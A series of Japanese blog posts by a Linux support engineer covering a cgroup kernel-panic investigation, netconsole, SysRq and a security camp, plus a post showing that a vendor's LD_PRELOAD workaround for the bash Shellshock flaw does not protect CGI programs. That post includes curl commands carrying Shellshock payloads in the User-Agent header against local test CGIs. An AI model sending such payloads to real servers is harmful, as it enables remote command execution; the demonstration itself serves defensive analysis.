2014年10月14日

第6回「 Bugzilla ノススメ」が掲載されました。

今回は Bugzilla の紹介です。ここでは、「再現手順を確立することの重要さ」の例として、熊猫が先月対応していた不具合事例について紹介したいと思います。

この不具合は以下のような経緯により原因が特定され、修正されました。現在は RHEL 6/7 カーネルにバックポートされるのを待っている状態です。

  1. Red Hat 社がカーネルパニック発生時点での解析結果と矛盾点を公開( https://access.redhat.com/solutions/640843 )していた。
  2. お客様は原因不明のカーネルパニックに悩まされており、( HP 社サーバと一緒に購入した OEM 版の RHEL サブスクリプションを使用していたため)サポート窓口となる HP 社に照会を行い、上記の不具合情報の存在について把握した。
  3. お客様は NTT OSS センタにも照会を行い、再現手順を確立できないと先に進めないことを理解した。そして、お客様自身が cgroup を使用していると発生頻度が高くなることを突き止め、問題事象を再現できる手順を確立した。
  4. OSS センタでは、上記の矛盾点が発生しそうな箇所で整合性検査を行う SystemTap スクリプトを作成し、 SystemTap を用いた調査を提案した。
  5. お客様は SystemTap を用いた情報取得を行い、カーネルパニックに至るシグナルを受信するよりも前に矛盾点が発生していることを突きとめることができた。
  6. SystemTap で取得した情報を基に OSS センタで解析し、 cgroup に含まれるスレッドセーフでは無い処理が問題事象の発生原因であることを突きとめることができた。
  7. コミュニティに報告し、問題が修正( https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2ad654bc5e2b211e92f66da1d819e47d79a866f0 )された。

この不具合は5年前に公開された Linux 2.6.31 で混入し、不整合状態の発生条件が命令の実行タイミングに強く依存していたことと、不整合状態が発生してからシグナルを受信するまでの処理の流れを kdump の情報から追うことができないケースという特殊さが組み合わさって、不明瞭なカーネルパニックを引き起こしてきたようです。問題事象が発生する環境と同一のハードウェアやシステム構成を持ち合わせていない OSS センタでも問題事象を再現させることができず、お客様自身が問題事象の再現手順を確立する以外に先に進めないという状況にありました。そして、関係各位の連携プレーにより、見事解決することができました。

問題解決までの流れを知っておくと、サポートを利用する側としてどのようなことができるかを考えることができるようになります。スムーズな問題解決のために、ご協力をお願いいたします。

posted by 熊猫さくら at 20:13| Comment(0) | TrackBack(0) | Linux

2014年10月01日

bash 脆弱性( CVE-2014-6271 )の回避策として LD_PRELOAD 環境変数を使うことの罠について

サポートケースに投げても customerservice 宛に投げても secalert 宛に投げても反応が無いので、ここで説明することにします。( 10/2 追記: secalert の中の人から反応がありました。スパムキューの中に埋もれていて気付いていなかったそうです。 10/7 追記: PassEnv LD_PRELOAD を追加するように記述が修正されました。)

https://access.redhat.com/articles/1212303 には、「 /lib/bash_ld_preload.so による回避策は潜在的に危険であるため、(システム全体に適用されてしまう) /etc/ld.so.preload にではなく(サービス単位での適用が可能な) init スクリプトでの LD_PRELOAD 環境変数の設定を推奨する」という記述があり、一例として httpd サービスに適用する手順が紹介されています。

If you wish to apply this workaround across the entire system:

  • Add the following to /etc/ld.so.preload on a line by itself:
/lib/bash_ld_preload.so
  • Restart all relevant services or reboot the system.

Note that this is potentially very dangerous. It is recommend that you just apply this workaround to specific services that may be exploitable on your system. This can be achieved by adding bash_ld_preload.so to the LD_PRELOAD environment variable in the script that will initialize the service. For example, for httpd on Red Hat Enterprise Linux 6:

  • Add the following two lines at the top of /etc/init.d/httpd, after the shebang line:
LD_PRELOAD=/lib/bash_ld_preload.so
export LD_PRELOAD
  • Then restart httpd:
# service httpd restart

しかし、上記のように LD_PRELOAD 環境変数を設定しても、効果はありません。効果が無いことを確認する手順を以下に説明します。

C言語で作成されたCGIプログラムを使って確かめてみましょう。

---------- Source code of /var/www/cgi-bin/test.cgi start ----------
#include <stdio.h>

int main(int argc, char *argv[], char *environ[]) {
  int i;
  printf("Status: 200\r\n");
  printf("Content-type: text/plain\r\n");
  printf("\r\n");
  for (i = 0; environ[i]; i++)
    printf("%s\n", environ[i]);
  return 0;
}
---------- Source code of /var/www/cgi-bin/test.cgi end ----------

このCGIを叩いてみましょう。

# curl -H 'User-agent: foobar' http://127.0.0.1/cgi-bin/test.cgi

HTTP_USER_AGENT=foobar という行は表示されるのに対して、 LD_PRELOAD=/lib/bash_ld_preload.so という行は表示されないことが確認できます。言い換えると、 LD_PRELOAD 環境変数は /usr/sbin/httpd プロセスには継承されていますが、 /usr/sbin/httpd プロセスから起動されるCGIプログラムには継承されていないことを意味しています。

そのため、 /etc/init.d/httpd の中で LD_PRELOAD 環境変数を設定する方法では、 以下のように /bin/bash を呼び出す可能性のあるCGIプログラムを保護することはできません。

---------- Content of /var/www/cgi-bin/test1.cgi start ----------
#!/bin/sh
echo "Status: 200"
echo "Content-type: text/plain"
echo ""
exec /bin/env
---------- Content of /var/www/cgi-bin/test1.cgi end ----------
---------- Source code of /var/www/cgi-bin/test2.cgi start ----------
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
  printf("Status: 200\r\n");
  printf("Content-type: text/plain\r\n");
  printf("\r\n");
  fflush(stdout);
  system("/bin/env");
  return 0;
}
---------- Source code of /var/www/cgi-bin/test2.cgi end ----------

以下のような叩き方をすれば、 /tmp/file を作成できてしまう訳です。

# curl -H 'User-agent: () { :;}; exec /bin/touch /tmp/file' http://127.0.0.1/cgi-bin/test1.cgi
# curl -H 'User-agent: () { :;}; exec /bin/touch /tmp/file' http://127.0.0.1/cgi-bin/test2.cgi

環境変数が意図した範囲に継承されているかどうかを理解しないまま、 LD_PRELOAD 環境変数による回避策を使おうとするのは危険です。

posted by 熊猫さくら at 21:59| Comment(0) | TrackBack(0) | Linux

2014年09月30日

緊急コラム「 bash 脆弱性( CVE-2014-6271 )の影響範囲の調査方法について」が掲載されました。

デング熱で騒いでいたと思った世の中が、突然 bash 脆弱性とか御嶽山噴火とかで騒ぎ出しました。今回の bash 脆弱性は、まさに TOMOYO とか AKARI とか CaitSith とかが活躍するケースな訳ですが、 Red Hat 社のサポート対象外な機能であるため、商用サポートを必要とするお客様に紹介することができず、焦りと残念さが募っています。

でも、せっかく連載をしているところですので、思い切って緊急コラムとして掲載しちゃいました。(即日で作成したので詳細までは準備できませんでした。質問などがありましたら遠慮なくどうぞ。)

熊猫がセキュリティキャンプに参加するようになってから今年で4回目になる訳ですが、年々技術的なトピックから離れてきているのを感じています。それは、OSレベルのアクセス制御に興味を持ってくれる人が少ないからという理由もあります。しかし、「プログラムのアイデア出しから保守まで全部を自分で行う」側から「他人が作成したプログラムの不具合調査を行う」側になったことで、「誰かが面倒を見てくれている筈だから、自分は考えなくてよい」という「隅々から全体までを通して見ようとしない」姿勢こそが問題の根底にあるのではないかと思うようになったからという理由もあります。なので、今年のキャンプでは、熊猫が感じている現在のSI業界の問題点を取り上げ、

「自分に関係しないことは気にしない」では済まされない。
システムのトラブル/セキュリティの脅威は、助け合いなしでは対処できない。

という話を含めました。あまりに dis りすぎたため、公開したら怒られそうな内容になってしまいましたが、まさに今回の脆弱性のような「事件」への対応姿勢がそれを問うているように思えます。

posted by 熊猫さくら at 21:29| Comment(0) | TrackBack(0) | Linux

第5回「 SysRq ノススメ」が掲載されました。

今回は SysRq の紹介です。

全プロセスのバックトレースを取得する方法として SysRq-t と kdump とがあり、 SysRq-t には以下のような利点があります。

  • 動作中のマシンをクラッシュさせることなく情報を取得できる
  • 時間経過に伴い処理が先に進んでいるかどうか(バックトレース内容が変化しているかどうか)を確認できる
  • それに対して、 kdump には以下のような利点があります。

  • バックトレース内にゴミが混入しないので内容を把握しやすい
  • (時間経過を伴わないため)一貫性のある結果が得られる
  • バックトレース以外にも様々な状態を確認できる
  • そのため、より確実な情報取得のためにマシンをクラッシュさせることが許されるのであれば、何回か SysRq-t を実行した後に、 SysRq-c を実行して kdump を取得するというのが好ましいと考えます。

    ちなみに、 libvirt 経由で KVM ゲストを稼働させている場合、 virsh dump コマンドを実行することで「動作中のマシンをクラッシュさせることなく kdump 相当の情報を取得できる」ので、 SysRq-t と kdump の両方の利点を得ることができます。 KVM ホストへのシェルログインを許可していないクラウドサービスでも、故障解析情報取得用に Web CGI インタフェースを使って virsh dump 機能を提供してもらえないものかなぁ?

    posted by 熊猫さくら at 21:27| Comment(0) | TrackBack(0) | Linux

    2014年09月16日

    第4回「 udplogger ノススメ」が掲載されました。

    今回は udplogger の紹介です。前回紹介した netconsole の受信側プログラムとしてはもちろんのこと、情報取得のために仕掛けた SystemTap の出力メッセージを受信させたり、ローカルディスクへの書き込みが遅延する恐れがある場合に数秒間隔で取得している性能データを他のホスト上に保存させたりするという使い方もできます。

    「ローカルディスクへの書き込みが遅れるなんてことあるんかいな?」と思われるかもしれませんが、実際に遅延した事例があります。 rsyslog のデフォルト設定では書き込みの完了を待つようになっているため、 Serial ATA の Native Command Queuing 機能により、業務アプリケーションによる大量のディスク I/O が優先されてしまい、死活監視で使っている /bin/su を実行した際の /var/log/secure への記録が大幅に遅延して、死活監視のタイムアウトエラーが発生してしまいました。結局、 /var/log/secure への書き込みの完了を待たないように rsyslog の設定を変更して対処しました。

    「ヤマノススメ」は風景描写が丁寧ですねぇ。「ARIA」を思い出します。 そういえば、アニメで口笛シーンが登場するのは珍しいことかも。

    posted by 熊猫さくら at 23:14| Comment(0) | TrackBack(0) | Linux

    2014年09月02日

    第3回「 netconsole ノススメ」が掲載されました。

    今回は netconsole の紹介です。 VMware や KVM などの仮想化環境の普及に伴い、ホスト側でのハードウェア増設/設定の変更/ログファイルへのアクセスが不可能という制約を持つ環境が増えてきたので、 netconsole が活躍してくれることを期待しています。

    しかし、 netconsole で難しいのは、送信側よりも受信側なのかもしれません。というのも、 netconsole のメッセージを受信しようと真面目に考えられた RHEL 同梱の(言い換えると Red Hat 社のサポート対象である)パッケージが見当たらない( https://access.redhat.com/solutions/4258 では rsyslog を紹介しているものの、 https://bugzilla.redhat.com/show_bug.cgi?id=432160 にあるようにそのままでは使い物にならない。 https://openvz.org/Remote_console_setup#Netconsole にあるように %rawmsg% を使えばとりあえず受信はできるものの、送信元やタイムスタンプの情報も一緒に記録してくれないと不便。かといって、 %fromhost-ip% と %timegenerated% と %rawmsg% とを同時に指定すると、必要以上にログファイルを肥大化させてしまうし、余分な送信元やタイムスタンプを除去してからでないと読めないというのも面倒。)ので、 udplogger を作成しました。それでも、どうしても rsyslog を使わなければいけないのであれば、 $EscapeControlCharactersOnReceive や $DropTrailingLFOnReception という指定が通常の syslog メッセージに干渉するのを防ぐために、 netconsole 専用の rsyslogd インスタンスを起動した方が良いと思います。その際、 -x オプションを忘れると、 netconsole から送信されたカーネルメッセージに含まれている文字列をホスト名だと勘違いして手当たり次第DNS問合せをしてしまいますのでご注意を。

    ♪なつい〜ろ〜プ〜レゼント〜」に「なんのこっちゃ?」と思った方へ:この連載の各話のタイトルは「ヤマノススメ セカンドシーズン」という現在放送中のアニメに倣っています。そして、「夏色プレゼント」というのは、そのアニメのオープニング曲です。前回の記事で「侵略!イカ娘」じゃないよと熊猫が書いたことに対して正解を示唆してくれているものと思われます。

    今年もセキュリティキャンプ2014が開催された訳ですが、2014年度の第1Qには「ふんわり」系のアニメがたくさん放送されていたのを反映してか、いろいろなアニメネタが登場しました。「ごちうさ」の「ぴょんぴょん」とか(由来は知らないけれど)「ておくれポイント」とかが健闘しましたが、最も猛威を振るったのは「進捗どうですか?」かと思われます。流行はしなかったけれども大爆笑したのは、「一週間フレンズ。」を捩った「進捗フレンズ。」ですねぇ。

    2014年度の第2Qは、あまり「ふんわり」系のアニメが見当たらず、ちょっと寂しいです。そんな中、「ヤマノススメ」はゆるふわキャラクターによる山登りの話だと思っていたのに、なぜか温泉の話、スカートの話、水着の話と山じゃない話が続いていてドキドキ。(笑)いや、ゆるふわでも真面目なアニメなので問題描写は登場しない筈。

    posted by 熊猫さくら at 21:36| Comment(0) | TrackBack(0) | Linux

    2014年08月19日

    第2話「シリアルコンソールノススメ」が掲載されました。

    kdump を設定済みのサーバは増えてきたようですが、シリアルコンソールを設定したサーバはまだ多くはないようです。同一のサーバで複数回の予期せぬリブートを経験して初めてシリアルコンソールの設定を検討するようになるという状況ですので、予期せぬリブートの原因についての問合せでは初回の事象発生時に何も手掛かりを見つけられず、残念な思いをすることが多いです。しかも、再発するまでに何ヶ月も待たされることが多く、調査する側としては何だか落ち着かない状況が続きます。この記事が、初回発生時に手掛かりを見つけるのに役に立てばいいなぁ。

    誰かさんは
    > 現在放送中の某アニメに倣って「○○ノススメ」を予定しています。
    という部分を読んで何のアニメなのかを検索したらしく、「侵略!イカ娘」ですかと訊かれてしまいました。
    え〜?そっちは知らないにゃ〜。(笑)

    posted by 熊猫さくら at 22:21| Comment(0) | TrackBack(0) | Linux

    2014年08月05日

    不定期連載「OSSコラム 安らかな夜を迎えるために」を始めました。

    LinuxCon Japan 2014 で使用した「エンタープライズ向けサーバのトラブル対応のための情報取得方法について」を、紙面では説明しきれなかった内容も含めて丁寧に解説することにより、業務用 Linux サーバ管理者のトラブルシューティングスキル向上に資することを願って、「OSSコラム 安らかな夜を迎えるために」を開始しました。

    本業にいつ余裕ができるかを全く予測できないという性質上、原稿を書く時間を定期的に割けることを約束できないため、不定期連載という形になります。各話のタイトルは、現在放送中の某アニメに倣って「○○ノススメ」を予定しています。

    posted by 熊猫さくら at 21:06| Comment(0) | TrackBack(0) | Linux

    2014年05月16日

    「セキュリティ・キャンプ全国大会2014」参加者募集が始まりました。

    撮影されないようにカメラから逃げ回っている熊猫が、何故かクラス紹介の動画で喋るはめになってしまいました。(汗)

    昨年度は「セキュリティの見える化を考えるゼミ」という名前で募集し、「利用者を置いてけぼりにしないセキュリティを考えてみよう」というテーマには8名もの応募がありました。セキュリティについて利用者が置いてけぼりにされているというモヤモヤ感を持った人が予想以上に多く存在していると感じました。そして、セキュリティという得体のしれないものを相手にするのは学生には難しいとも感じました。

    そのため、今年はOSのセキュリティを考える前段階である「OSの見える化を考えるゼミ」という名前で募集します。応募者の希望テーマに応じて講義内容を考える予定ですが、参考資料として、来週 LinuxCon Japan 2014 の発表で使用する「エンタープライズ向けサーバのトラブル対応のための情報取得方法について」を紹介しておきます。

    posted by 熊猫さくら at 23:55| Comment(0) | TrackBack(0) | Linux

    2014年03月10日

    netconsole メッセージ受信用プログラムを作りました。

    仕事として Linux サーバのトラブル対応をしているのですが、障害発生時のカーネルメッセージは /var/log/messages に残せないため、 /var/log/messages を確認しても原因が判らないものです。技術的にはカーネルメッセージをシリアルコンソールに出力することができるのですが、運用としてシリアルコンソールを導入することが困難なサーバが多く、もどかしい思いをしていました。

    そんな中、 netconsole をシリアルコンソールの代替機能として活用できそうだと判明したので、 netconsole からのメッセージを受信するための専用プログラムを作成して http://sourceforge.jp/projects/akari/scm/svn/tree/head/branches/udplogger/ に置きました。

    コメントおよびディストリビューション向けパッケージのメンテナになっていただける方を募集しています。

    posted by 熊猫さくら at 21:44| Comment(0) | TrackBack(0) | Linux